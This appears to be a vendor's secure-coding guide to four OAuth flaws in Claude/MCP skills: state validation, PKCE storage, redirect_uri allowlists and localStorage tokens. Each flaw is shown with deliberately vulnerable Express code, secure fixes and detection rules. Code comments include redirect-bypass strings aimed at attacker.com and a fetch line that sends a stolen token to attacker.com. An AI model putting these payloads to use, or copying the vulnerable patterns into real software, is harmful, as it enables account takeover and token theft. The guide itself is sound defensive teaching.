Claude skill OAuth flow security
MCP skills that integrate with third-party services via OAuth implement a multi-step flow where security failures compound: a flaw in the state parameter validation enables account takeover, a flaw in PKCE allows code interception before the token exchange, a misconfigured redirect_uri allowlist redirects the authorization code to an attacker-controlled endpoint, and tokens stored in localStorage survive any XSS attack on any page of the same origin. SA-SKL-AUT-009 through AUT-012 cover four OAuth implementation vulnerabilities that each represent a distinct phase of the flow where an attacker can intercept credentials or hijack sessions without any vulnerability in the OAuth provider itself.
OAuth 2.0 and OIDC are authentication delegation protocols, not plug-and-play libraries. Every implementation requires the skill developer to correctly handle state binding, code challenge verification, callback URL validation, and token storage — four distinct security responsibilities that each require explicit implementation rather than inheriting from the protocol. An MCP skill that calls a third-party API (GitHub, Google, Salesforce, Slack) on behalf of a user is implementing OAuth at the skill layer, outside the MCP protocol itself. The OAuth client code runs in the skill’s backend, and the four vulnerabilities below describe how that code fails.
SA-SKL-AUT-009: OAuth state parameter not validated on callback enables CSRF account binding
The OAuth 2.0 authorization code flow includes a state parameter specifically to prevent Cross-Site Request Forgery on the callback. Before redirecting the user to the authorization server, the skill generates a random state value, stores it in the user’s session, and includes it in the authorization URL. When the authorization server redirects the user back to the skill’s callback URL, it includes the same state value in the query string. The skill must verify that the state in the callback matches the one stored in the session before proceeding with the token exchange. If this verification is omitted, an attacker can craft a callback URL with a valid authorization code from their own OAuth session and trick the victim into visiting it. The skill processes the attacker’s authorization code, exchanges it for an access token, and associates the attacker’s OAuth account with the victim’s application session. The victim is now authenticated as the attacker’s OAuth identity — enabling account takeover, data exfiltration under the attacker’s identity, or privilege escalation if the attacker holds elevated permissions on the OAuth provider.
// VULNERABLE: OAuth callback handler does not verify state parameter
import express from 'express';
const app = express();
// Step 1: Start OAuth flow — generates state but stores it nowhere
app.get('/oauth/start', (req, res) => {
const state = Math.random().toString(36).slice(2);
// BUG: state generated but NOT stored in session — cannot be verified later
const authUrl = `https://github.com/login/oauth/authorize?` +
`client_id=${CLIENT_ID}&` +
`redirect_uri=https://skillaudit.dev/oauth/callback&` +
`state=${state}&` +
`scope=read:user`;
res.redirect(authUrl);
});
// Step 2: Callback — receives code + state but does not verify state
app.get('/oauth/callback', async (req, res) => {
const { code, state } = req.query;
// BUG: state is ignored — no comparison with session-stored value
// Attacker crafts: GET /oauth/callback?code=ATTACKER_CODE&state=anything
// Skill exchanges ATTACKER_CODE for attacker's GitHub token and binds to victim session
const token = await exchangeCodeForToken(code as string);
req.session.githubToken = token;
res.redirect('/dashboard');
// Victim's session now has attacker's GitHub access token
});
// SECURE: generate, store, and verify state parameter
import crypto from 'crypto';
app.get('/oauth/start', (req, res) => {
// Generate cryptographically secure state — use crypto.randomBytes, not Math.random
const state = crypto.randomBytes(32).toString('base64url');
// Store in session server-side — MUST be done before redirect
req.session.oauthState = state;
req.session.oauthStartedAt = Date.now();
const authUrl = `https://github.com/login/oauth/authorize?` +
`client_id=${CLIENT_ID}&` +
`redirect_uri=https://skillaudit.dev/oauth/callback&` +
`state=${encodeURIComponent(state)}&` +
`scope=read:user`;
res.redirect(authUrl);
});
app.get('/oauth/callback', async (req, res) => {
const { code, state } = req.query;
// Verify state BEFORE doing anything with the code
const expectedState = req.session.oauthState;
if (!expectedState || state !== expectedState) {
// State mismatch — potential CSRF attack; reject and invalidate session
delete req.session.oauthState;
return res.status(400).send('OAuth state mismatch — request rejected');
}
// Check for replay: state should be consumed once
if (Date.now() - req.session.oauthStartedAt > 600_000) { // 10 min TTL
delete req.session.oauthState;
return res.status(400).send('OAuth flow expired — please try again');
}
// State verified — consume it (one-time use)
delete req.session.oauthState;
delete req.session.oauthStartedAt;
const token = await exchangeCodeForToken(code as string);
req.session.githubToken = token;
res.redirect('/dashboard');
});
// DETECTION (SkillAudit):
// /oauth/callback handler that does not compare req.query.state with req.session.oauthState
const missingStateCheck = searchAST(
'oauthCallback AND NOT stateVerification(req.query.state, session.*)'
);
if (missingStateCheck) → CRITICAL // SA-SKL-AUT-009
A missing state check is an OAuth CSRF vulnerability by definition: RFC 6749 Section 10.12 explicitly requires state parameter validation as a CSRF countermeasure. Any OAuth callback handler that does not verify the state parameter is susceptible to an attacker forcing an arbitrary authorization code exchange on behalf of any victim user. The fix requires two additions: storing the state in the server-side session before the authorization redirect, and comparing the callback’s state against the stored value before the token exchange.
code without verifying state matches session-stored value; attacker tricks victim into visiting crafted callback URL with attacker’s authorization code; skill binds attacker’s OAuth identity to victim’s session (CSRF → account takeover). Detection: OAuth callback handler without req.query.state === req.session.oauthState check → CRITICAL.SA-SKL-AUT-010: PKCE code_verifier not stored server-side enables authorization code interception
Proof Key for Code Exchange (PKCE, RFC 7636) was introduced to protect public OAuth clients — SPAs, mobile apps, MCP skills with exposed redirect URIs — from authorization code interception attacks. In a PKCE flow, the client generates a random code_verifier, computes code_challenge = base64url(sha256(code_verifier)), includes the challenge in the authorization request, and sends the verifier with the token exchange request. The authorization server verifies that sha256(code_verifier) matches the code_challenge it received earlier, confirming that the token exchange is from the same entity that initiated the authorization. Skills that implement PKCE on the client side only — where the code_verifier is stored in a cookie or in the browser’s sessionStorage rather than in the skill’s server-side session — are vulnerable: an attacker who can read the client-side storage (via XSS, or by accessing the browser after a session) obtains both the authorization code (from the callback URL) and the code_verifier (from storage), and can complete the token exchange independently. The code_verifier must be stored server-side, in the skill’s session, so that it is never accessible to client-side code.
// VULNERABLE: PKCE verifier stored in cookie (client-accessible)
import express from 'express';
import crypto from 'crypto';
const app = express();
app.get('/oauth/start', (req, res) => {
const codeVerifier = crypto.randomBytes(32).toString('base64url');
const codeChallenge = crypto
.createHash('sha256')
.update(codeVerifier)
.digest('base64url');
// BUG: code_verifier stored in a non-HttpOnly cookie — readable by JavaScript
// XSS on any page can read document.cookie and extract the verifier
res.cookie('pkce_verifier', codeVerifier, { sameSite: 'lax' });
// Missing: httpOnly: true — this makes it accessible via document.cookie
const authUrl = `https://provider.com/oauth/authorize?` +
`code_challenge=${codeChallenge}&code_challenge_method=S256&...`;
res.redirect(authUrl);
});
// ALSO VULNERABLE: verifier stored in sessionStorage (set via JS)
// sessionStorage is readable by any script on the page — XSS reads it trivially
// SECURE: code_verifier stored in server-side session only
app.get('/oauth/start', (req, res) => {
const codeVerifier = crypto.randomBytes(32).toString('base64url');
const codeChallenge = crypto
.createHash('sha256')
.update(codeVerifier)
.digest('base64url');
// Store verifier in server-side session — never accessible to client-side code
req.session.pkceVerifier = codeVerifier;
const authUrl = `https://provider.com/oauth/authorize?` +
`client_id=${CLIENT_ID}&` +
`redirect_uri=${encodeURIComponent('https://skillaudit.dev/oauth/callback')}&` +
`code_challenge=${codeChallenge}&` +
`code_challenge_method=S256&` +
`response_type=code&` +
`state=${req.session.oauthState}`;
res.redirect(authUrl);
});
app.get('/oauth/callback', async (req, res) => {
const { code, state } = req.query;
// Verify state (AUT-009) first
if (state !== req.session.oauthState) {
return res.status(400).send('State mismatch');
}
// Retrieve verifier from server-side session — never from client input
const codeVerifier = req.session.pkceVerifier;
if (!codeVerifier) {
return res.status(400).send('Missing PKCE verifier');
}
// Exchange code using the server-side verifier
const token = await fetch('https://provider.com/oauth/token', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'authorization_code',
code: code as string,
redirect_uri: 'https://skillaudit.dev/oauth/callback',
code_verifier: codeVerifier, // from session — not from request
client_id: CLIENT_ID,
}),
}).then(r => r.json());
// Clean up — consume the verifier once
delete req.session.pkceVerifier;
req.session.accessToken = token.access_token;
res.redirect('/dashboard');
});
// DETECTION (SkillAudit):
// code_verifier in res.cookie() without httpOnly:true
// OR code_verifier in client-side storage (sessionStorage.setItem)
// AND NOT req.session.pkceVerifier
const pkceClientSide = searchAST(
'pkceVerifier IN (cookie WITHOUT httpOnly | sessionStorage) AND NOT session.pkceVerifier'
);
if (pkceClientSide) → HIGH // SA-SKL-AUT-010
The whole point of PKCE is that the verifier never leaves the server: if the verifier is accessible to JavaScript, XSS can read it alongside the authorization code from the URL, making PKCE useless. Server-side session storage (express-session with a server-backed store) is the correct location for the code_verifier. The cookie that maintains the user’s session reference is itself HttpOnly and Secure, ensuring that even if XSS can read the page, it cannot read the session cookie to look up the server-side verifier.
code_verifier stored in non-HttpOnly cookie or client-side storage (sessionStorage); XSS on any origin page reads verifier + authorization code from URL history; attacker completes token exchange independently. Detection: pkceVerifier in cookie without httpOnly: true or in sessionStorage.setItem without server-side session copy → HIGH.SA-SKL-AUT-011: redirect_uri allowlist checks only domain enables path traversal bypass
The redirect_uri parameter in an OAuth authorization request specifies where the authorization server sends the authorization code after the user grants consent. If a skill’s allowlist validation checks only the domain component of the redirect_uri — confirming that the URI starts with https://skillaudit.dev but not validating the exact path — an attacker can supply a redirect URI that passes the domain check but points to an attacker-controlled path. The classic bypass uses path traversal: https://skillaudit.dev/../attacker.com/steal. Many allowlist implementations using startsWith('https://skillaudit.dev') or a domain-only regex pass this URI, while URL parsing normalises the path traversal so the authorization server redirects to https://attacker.com/steal. A less obvious variant uses subpath ambiguity: if the allowlist accepts https://skillaudit.dev/oauth/callback, does it also accept https://skillaudit.dev/oauth/callback.attacker.com? Path-prefix checks without a trailing slash or end-of-string anchor do. The authorization code is delivered to the attacker’s endpoint, from which the attacker completes the token exchange.
// VULNERABLE: allowlist checks domain prefix only, not exact URI
import express from 'express';
const app = express();
function isValidRedirectUri(uri: string): boolean {
// BUG 1: startsWith check — does not verify path
// Attack: "https://skillaudit.dev/../attacker.com/steal" passes this check
return uri.startsWith('https://skillaudit.dev');
}
function isValidRedirectUri2(uri: string): boolean {
// BUG 2: domain-only regex, no path check
return /^https:\/\/skillaudit\.dev/.test(uri);
// Attack: "https://skillaudit.dev.attacker.com/steal" passes the regex
// (period not escaped, matches any character)
}
function isValidRedirectUri3(uri: string): boolean {
// BUG 3: path prefix without end anchor
return uri.startsWith('https://skillaudit.dev/oauth/callback');
// Attack: "https://skillaudit.dev/oauth/callback.attacker.com" passes
// OR: "https://skillaudit.dev/oauth/callback/../../../attacker.com"
}
// SECURE: exact-match allowlist against a Set of pre-registered URIs
const ALLOWED_REDIRECT_URIS = new Set([
'https://skillaudit.dev/oauth/callback',
// Only add additional URIs that are explicitly registered
// No wildcards, no prefixes, no path patterns — exact strings only
]);
function isValidRedirectUri(uri: string): boolean {
// Normalise the URI first to prevent path traversal bypasses
try {
const parsed = new URL(uri);
// Reconstruct from parsed components to normalise any path traversal
const normalised = `${parsed.protocol}//${parsed.host}${parsed.pathname}`;
return ALLOWED_REDIRECT_URIS.has(normalised);
} catch {
return false; // Invalid URL
}
}
app.get('/oauth/start', (req, res) => {
const redirectUri = req.query.redirect_uri as string ?? 'https://skillaudit.dev/oauth/callback';
if (!isValidRedirectUri(redirectUri)) {
return res.status(400).send('Invalid redirect_uri');
}
// Store the validated (not raw) redirect_uri in session for callback verification
req.session.oauthRedirectUri = redirectUri;
const state = crypto.randomBytes(32).toString('base64url');
req.session.oauthState = state;
const authUrl = `https://provider.com/oauth/authorize?` +
`redirect_uri=${encodeURIComponent(redirectUri)}&state=${state}&...`;
res.redirect(authUrl);
});
// DETECTION (SkillAudit):
// redirectUri.startsWith('https://your-domain') without Set exact-match
// OR regex /^https:\/\/your-domain/ without path anchor
const weakAllowlist = searchAST(
'redirectUri.startsWith(*) OR /regex/ WITHOUT exactMatchSet AND NOT ALLOWED_REDIRECT_URIS.has(*)'
);
if (weakAllowlist) → HIGH // SA-SKL-AUT-011
Only exact-match allowlists are safe for redirect_uri: any prefix check, any regex without both start and end anchors, any domain-only check is bypassable via path traversal, subdomain tricks, or path extension. The correct implementation is a Set of exactly registered redirect URIs, matched after URL normalisation to handle path traversal in the input. The OAuth provider should enforce the same exact-match rule on its side, but skill-side validation is the defence-in-depth layer that catches mis-registered URIs and attacker-crafted URLs before the authorization request is sent.
startsWith or domain-only regex; attacker supplies https://skillaudit.dev/../attacker.com/steal; authorization code delivered to attacker endpoint after URL normalisation. Detection: redirectUri.startsWith(domain) or domain-only regex without exact-match Set → HIGH.SA-SKL-AUT-012: access_token stored in localStorage is readable by any script on the origin
After completing the OAuth token exchange, a skill must store the resulting access token somewhere persistent enough to survive page navigations. The most common mistake is storing the token in localStorage or sessionStorage, which are accessible to any JavaScript executing on the same origin — including scripts loaded from CDNs, third-party analytics, and embedded widgets. A Cross-Site Scripting vulnerability anywhere on the origin — on any page that shares the origin, not just the page that uses the token — gives the attacker read access to localStorage and therefore to the access token. The attacker exfiltrates the token with a single fetch call and can use it indefinitely until it expires or is revoked. The secure alternative is to store the access token in a server-side session and issue the browser only a session cookie with HttpOnly; Secure; SameSite=Strict attributes. The cookie cannot be read by JavaScript, so XSS on other pages cannot extract it. The access token never appears in client-side storage where it can be enumerated.
// VULNERABLE: access token stored in localStorage after OAuth callback
import express from 'express';
const app = express();
// Server-side: send token to client via JSON response
app.get('/oauth/callback', async (req, res) => {
const token = await exchangeCode(req.query.code as string);
// BUG: token sent to client as JSON for client-side localStorage storage
res.json({ access_token: token.access_token });
// Client-side JS: localStorage.setItem('github_token', data.access_token)
// → any XSS on ANY page at skillaudit.dev reads it via localStorage.getItem()
});
// Client-side pattern (also wrong — shown to illustrate the anti-pattern):
// fetch('/oauth/callback?code=...').then(r => r.json()).then(data => {
// localStorage.setItem('github_token', data.access_token);
// // Now any XSS anywhere on origin can: fetch('https://attacker.com/steal?t='+localStorage.getItem('github_token'))
// });
// ALSO VULNERABLE: storing in sessionStorage (same problem — JS-readable)
// sessionStorage.setItem('access_token', token);
// SECURE: store token server-side in session; never send raw token to browser
app.get('/oauth/callback', async (req, res) => {
const { code, state } = req.query;
// Verify state (AUT-009) and PKCE verifier (AUT-010) first
if (state !== req.session.oauthState) return res.status(400).send('State mismatch');
const token = await exchangeCode({
code: code as string,
codeVerifier: req.session.pkceVerifier!,
});
// Store access token in server-side session ONLY — browser never sees raw token
req.session.githubAccessToken = token.access_token;
req.session.githubTokenExpiry = Date.now() + (token.expires_in * 1000);
// Clean up OAuth flow state
delete req.session.oauthState;
delete req.session.pkceVerifier;
// Browser gets a session cookie (HttpOnly; Secure; SameSite=Strict)
// set by express-session — the token itself is never in any client-accessible storage
res.redirect('/dashboard');
});
// API calls use the server-side token; browser sends session cookie, not token
app.get('/api/github/repos', async (req, res) => {
const token = req.session.githubAccessToken;
if (!token) return res.status(401).json({ error: 'Not authenticated' });
// Token travels server → GitHub; browser never has it
const repos = await fetch('https://api.github.com/user/repos', {
headers: { Authorization: `Bearer ${token}` }
}).then(r => r.json());
res.json(repos);
});
// DETECTION (SkillAudit):
// localStorage.setItem(*token* | *access_token* | *auth*)
// OR sessionStorage.setItem(*token*)
// In client-side JS that receives token from OAuth callback
const tokenInLocalStorage = searchAST(
'localStorage.setItem(*token*) | sessionStorage.setItem(*token*)'
);
if (tokenInLocalStorage) → HIGH // SA-SKL-AUT-012
localStorage is the wrong place for tokens: it is a global, origin-scoped key-value store accessible to every script running on the page, including third-party scripts loaded via <script src="...">. A single XSS vulnerability anywhere on the entire origin — on a blog page, a marketing page, a legacy admin panel — exposes all tokens stored in localStorage on that origin. HttpOnly session cookies are the browser’s native mechanism for storing server-managed session references; tokens belong in the server-side session, referenced by the cookie. If you cannot use server-side sessions (e.g. a true SPA with no backend), the BFF (Backend For Frontend) pattern is the recommended alternative — never localStorage for tokens.
localStorage or sessionStorage after callback; readable by any script on origin; XSS on any page of the same origin exfiltrates token; token usable by attacker until expiry or revocation. Detection: localStorage.setItem(*token*) or sessionStorage.setItem(*token*) in client-side OAuth handling code → HIGH.Remediation summary
| Finding | Severity | Fix |
|---|---|---|
| AUT-009: OAuth state not validated | CRITICAL | Generate crypto.randomBytes(32).toString('base64url') state; store in server-side session before authorization redirect; compare callback state with session value before token exchange; consume state (delete after use) to prevent replay |
| AUT-010: PKCE verifier not server-side | HIGH | Store code_verifier in server-side session only; never in cookies without httpOnly: true and never in sessionStorage; retrieve from session in callback handler; delete after use |
| AUT-011: redirect_uri path traversal | HIGH | Use a Set of exact registered redirect URIs; normalise URI with new URL() before matching; reject any URI not in the allowlist; never use startsWith(domain) or domain-only regex |
| AUT-012: access_token in localStorage | HIGH | Store access token in server-side session; issue browser an HttpOnly; Secure; SameSite=Strict session cookie only; make API calls through a skill endpoint that reads the token from session; never send raw token to client-side code |
SkillAudit detects all four SA-SKL-AUT-009 through AUT-012 OAuth flow security patterns through static analysis of OAuth callback handler code and client-side token storage patterns. For authentication and authorisation patterns independent of OAuth, see SA-SKL-AUTH-001 through AUTH-004 (authentication bypass) and SA-SKL-AUTH-005 through AUTH-008 (authorisation bypass). See the complete SA-SKL attack surface reference for the full vulnerability taxonomy.
Scan your Claude skill for OAuth flow vulnerabilities
SkillAudit detects missing state validation, client-side PKCE storage, path traversal in redirect_uri allowlists, and localStorage token storage across the full SA-SKL-AUT family in 60 seconds.
Get your free audit